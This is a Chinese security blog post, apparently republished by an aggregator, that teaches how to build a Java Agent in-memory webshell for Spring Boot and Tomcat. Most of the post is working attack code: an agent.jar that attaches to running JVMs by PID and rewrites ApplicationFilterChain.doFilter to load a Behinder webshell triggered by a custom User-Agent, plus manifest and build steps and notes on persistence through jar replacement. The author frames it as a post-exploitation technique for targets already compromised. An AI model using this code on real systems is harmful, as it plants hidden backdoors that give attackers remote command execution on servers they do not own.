RainSec 10月24日 00:47
Java Agent 类型内存马初探与实现
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文介绍了在Spring Boot环境下,当反序列化链无法直接加载类或目标环境不出网时,如何利用Java Agent类型内存马实现注入Webshell。文章详细阐述了Java Agent的两种加载方式(premain和agentmain),以及`VirtualMachine`和`VirtualMachineDescriptor`类的作用。通过修改`ApplicationFilterChain`类的`doFilter`方法,并结合冰蝎Webshell,实现了内存马的注入。文中还分享了开发过程中遇到的关于`tools.jar`加载、类加载时机以及Webshell兼容性等关键问题和解决方案,并提供了一些参考项目链接。

🧰 **Java Agent 的核心机制与应用场景**:Java Agent 是JDK 1.5引入的一项强大功能,允许在Java程序运行前(premain)或运行中(agentmain)修改类字节码。它特别适用于Spring Boot环境下的特定安全场景,例如在无法直接利用反序列化加载类或目标环境受限时,通过Agent注入Webshell,实现远程命令执行或文件访问。

⚙️ **`VirtualMachine` 与 `VirtualMachineDescriptor` 的作用**:`VirtualMachine` 类及其`attach`方法是实现Agent动态加载的关键,它允许通过进程ID(PID)连接到目标JVM。`VirtualMachineDescriptor` 则用于列举当前运行的Java虚拟机实例,方便选择目标进程。文章通过反射方式调用这些类的方法,以避免直接引入`tools.jar`带来的跨平台问题。

🔧 **内存马的注入与实现细节**:文章展示了如何通过`Instrumentation`接口中的`addTransformer`和`retransformClasses`方法,拦截并修改`ApplicationFilterChain`类的`doFilter`方法。通过在`doFilter`方法中插入自定义逻辑,并结合冰蝎Webshell的Payload(通过`start.txt`配置),实现了当特定User-Agent请求到来时,触发Webshell功能,从而成功注入内存马。

⚠️ **开发过程中的关键考量与解决方案**:在实现过程中,作者遇到了几个挑战。首先是`tools.jar`的依赖问题,通过`URLClassLoader`加载目标环境的`tools.jar`解决了跨平台兼容性。其次是`ApplicationFilterChain`类需要被Web访问后才会加载,因此需要确保在Agent执行前访问过Web应用。此外,还提到了对不同Webshell(如蚁剑)的兼容性问题,以及Jar包替换的持久化策略。

原创 COP 2023-03-30 10:49 北京

带你初识Java agent类型内存马

初识Java agent类型内存马

前言

  你是否遇到过这样的场景,springboot环境下各种反序列化的点,但是可用的反序列化链不能直接加载类打入内存马,只能执行系统命令,甚至目标环境不出网,或者已经反弹shell或cs上线成功了,但是想要注入一个webshell。这时候就需要用到agent类型内存马了。

前置知识点

  JavaAgent 是JDK 1.5 以后引入的,可以在Java程序运行之前或运行期间修改类的字节码,Java agent可以是一个编译好的jar文件,使用方式有两种:

  实现了premain方法的agent 就可以在启动Java程序时使用 -javaagent 参数来加载。

  实现了agentmain方法的agent可以通过进程pid来连接到启动后的Java程序上。 agentmain方法声明如下,拥有Instrumentation inst参数的方法优先级更高:

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}
public static void premain(String agentArgs) {
    ...
}

    1. getAllLoadedClasses:获取目标已经加载的类。

    2. addTransformer:增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。

    3. retransformClasses: 在类加载之后,重新定义 Class。

Agent实现主要依靠VirtualMachine和VirtualMachineDescriptor这两个类

VirtualMachine
VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。
Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:解除Attach
VirtualMachineDescriptor
 VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。
 VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers。

jar包中的MANIFEST.MF 文件必须指定 Agentmain-Class 项,Agentmain-Class 指定的那个类必须实现 agentmain() 方法

编写一个agent.jar

  笔者在github找了好久,基本是一些本地调试用的demo,没找到能直接能用的且较为通用的。所以就在 ethushiroha师傅 项目 JavaAgentTools BehindShell 的基础上进行修改。


package org.apache.spring;
import java.io.File;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.List;
public class m {
    public static final String TransformedClassName = c.SpringMemShellConfig.TransformedClassName;
    public static Instrumentation i = null;
    public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, IOException {
        //启动方法
        i = inst;
        System.out.println("Agent load ...");
        start();
    }
    public static String start() throws UnmodifiableClassException {
        System.out.println("Agent start ...");
        //t继承了ClassFileTransformer接口,重写了transform方法,用于拦截修改加载的类字节码,此方法返回值是通过javassist修改好的字节码,
        final t t1 = new t();
        //获取目标所有已经加载的类
        Class[] classes = i.getAllLoadedClasses();
        for (Class aClass : classes) {
            if (aClass.getName().equals(TransformedClassName)) {
                //这里修改的是org.apache.catalina.core.ApplicationFilterChain类的doFilter方法,测试的时候有一个坑点是测试jar包启动时需要访问一下Web,ApplicationFilterChain类才会加载,上面获取所有类的时候才可以获取到ApplicationFilterChain类。
                System.out.println("Agent get TransformedClassName ...");
                //添加拦截器
                i.addTransformer(t1, true);
                //重新定义ApplicationFilterChain类,触发拦截器也就是t类的transform方法
                i.retransformClasses(aClass);
                return "Success";
            }
        }
        return "ERROR::";
    }
    public static void main(String[] args)
            throws RuntimeException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
                //agent.jar 用到的核心类VirtualMachine和VirtualMachineDescriptor在jdk的tools.jar里,如果直接把tools.jar一块打进agent.jar里,不能跨平台使用,笔者测试mac编译无法在linux中使用
                //通过URLClassLoader加载目标环境的tools.jar,可以变得更加通用
                String toolsJarPath = System.getProperty("java.home") + File.separator + ".." + File.separator + "lib" + File.separator + "tools.jar";
                URLClassLoader classLoader = null;
                try {
                    classLoader = new URLClassLoader(new URL[]{new File(toolsJarPath).toURI().toURL()});
                } catch (MalformedURLException e) {
                    System.err.println("tools.jar load error");
                    System.exit(-1);
                }
                Class<?> vmClass = null;
                Class<?> vmdClass = null;
                try {
                    vmClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
                    vmdClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
                } catch (ClassNotFoundException e) {
                    e.printStackTrace();
                }
                Object vmObj = null;
                String agentpath = null;
                List<String> list = new ArrayList<String>();
                if (args.length == 2) {
                    list.add(args[0]);
                    agentpath = args[1];
                } else if (args.length==1) {
                    list.add(args[0]);
                    //获取agent.jar的绝对路径
                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();
                } else if (args.length==0) {
                    //通过VirtualMachineDescriptor类的list方法 获取目标环境中运行的Java进程,省去查找pid这一步
                    Method listMethod = vmClass.getDeclaredMethod("list", new Class[]{});
                    List<Object> vmlist = (List<Object>) listMethod.invoke(null);
                    Method idMethod = vmdClass.getDeclaredMethod("id",new Class[]{});
                    Method displayNameMethod= vmdClass.getDeclaredMethod("displayName",new Class[]{});
                    for (Object vmd : vmlist) {
                        System.out.println(String.format("get vmname: %s  pid: %s",(String) displayNameMethod.invoke(vmd),(String) idMethod.invoke(vmd)));
                        list.add((String) idMethod.invoke(vmd));
                    }
                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();
                }else {
                    System.err.println("usage : java -jar agent.jar\r\njava -jar agent.jar pid\r\njava -jar agent.jar pid agentpath");
                    System.err.println("Parameter error");
                    System.exit(-1);
                }
                System.out.println(" agentpath :" + agentpath);
                for (String pid :list){
                    try {
                        System.out.println(String.format("try attach %s",pid));
                        Method attachMethod = null;
                        try {
                            //连接到此Java进程
                            attachMethod = vmClass.getDeclaredMethod("attach", String.class);
                        } catch (NoSuchMethodException e) {
                            e.printStackTrace();
                        }
                        vmObj = (Object) attachMethod.invoke(null, pid);
                        if (vmObj != null) {
                            //加载agent.jar 触发agentmain方法
                            Method loadAgentMethod2 = vmClass.getDeclaredMethod("loadAgent", String.class);
                            loadAgentMethod2.invoke(vmObj, agentpath);
                        }
                    } catch (InvocationTargetException e) {
                        e.printStackTrace();
                    } catch (NoSuchMethodException e) {
                        e.printStackTrace();
                    } catch (IllegalAccessException e) {
                        e.printStackTrace();
                    } finally {
                        if (null != vmObj) {
                            Method detachMethod = null;
                            try {
                                //断开连接
                                detachMethod = vmClass.getDeclaredMethod("detach", new Class[]{});
                            } catch (NoSuchMethodException e) {
                                e.printStackTrace();
                            }
                            try {
                                detachMethod.invoke(vmObj);
                            } catch (IllegalAccessException e) {
                                e.printStackTrace();
                            } catch (InvocationTargetException e) {
                                e.printStackTrace();
                            }
                        }
                    }
                }
            }
}

  t.transform 读取jar包里的start.txt,把读取到的内容插入到ApplicationFilterChain类的doFilter方法里,默认所有路由都有效,可以添加User-Agent来判断是否走到webshell,org.apache.spring.b.d就是一个冰蝎马

{
    javax.servlet.http.HttpServletRequest request = $1;
    javax.servlet.http.HttpServletResponse response = $2;
    try {
        Object session = request.getSession();
        if (request.getHeader("User-Agent").equals("RainSec")) {
            org.apache.spring.b.d(request, response, session);
            return ;
        }
    } catch (Exception e) {
    }
}

创建 /src/main/resources/META-INF/MANIFEST.MF 文件,内容如下

Manifest-Version: 1.0
Agent-Class: org.apache.spring.m
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Main-Class: org.apache.spring.m

pom.xml 中加入此配置把自定义的MANIFEST.MF打到jar包中

<plugin>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.2.0</version>
                <configuration>
                    <archive>
                        <manifestEntries></manifestEntries>
                        <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
                    </archive>
                </configuration>
            </plugin>

mvn clean package -DskipTests 编译 。

几个坑点

最后记录一下整个编写测试中遇到的坑点。

    1. 刚开始直接找了几个项目编译测试均失败,后发现是tools.jar 的问题,最后用URLClassLoader加载目标环境下tools.jar 解决。

    2. 测试springboot jar包启动后需访问一下web才会加载ApplicationFilterChain类,后续才能获取到再修改。

    3. 本项目注入的内存马非常容易修改,测试了一下注入蚁剑webshell,因为蚁剑连接webshell不是用的反射会连接失败。

    4. 刚开始想改的是threedr3am师傅的ZhouYu项目,发现直接持久化直接替换jar包会导致服务异常,重启替换后的jar之后shell可正常使用,后续添加持久化功能可以在注入进程退出时再执行替换jar包。 笔者找到的一些agent内存马项目

   https://github.com/ethushiroha/JavaAgentTools

   https://github.com/threedr3am/ZhouYu

   https://github.com/su18/MemoryShell

5. windows下自动获取的agent路径前有一个`/`,适配windows需要添加一段代码判断为windows时把前面的`/`去掉

引用和参考

https://mp.weixin.qq.com/s/YVwqD6SwUq_jkEe_9afBCg

https://mp.weixin.qq.com/s/gmKSmW5SIME8lWKj8bvhWw

https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/

彩蛋

公众号后台回复Agent获得笔者的BehindShell源码


阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Java Agent 内存马 Webshell Spring Boot Java安全 Instrumentation VirtualMachine JVM 安全研究
相关文章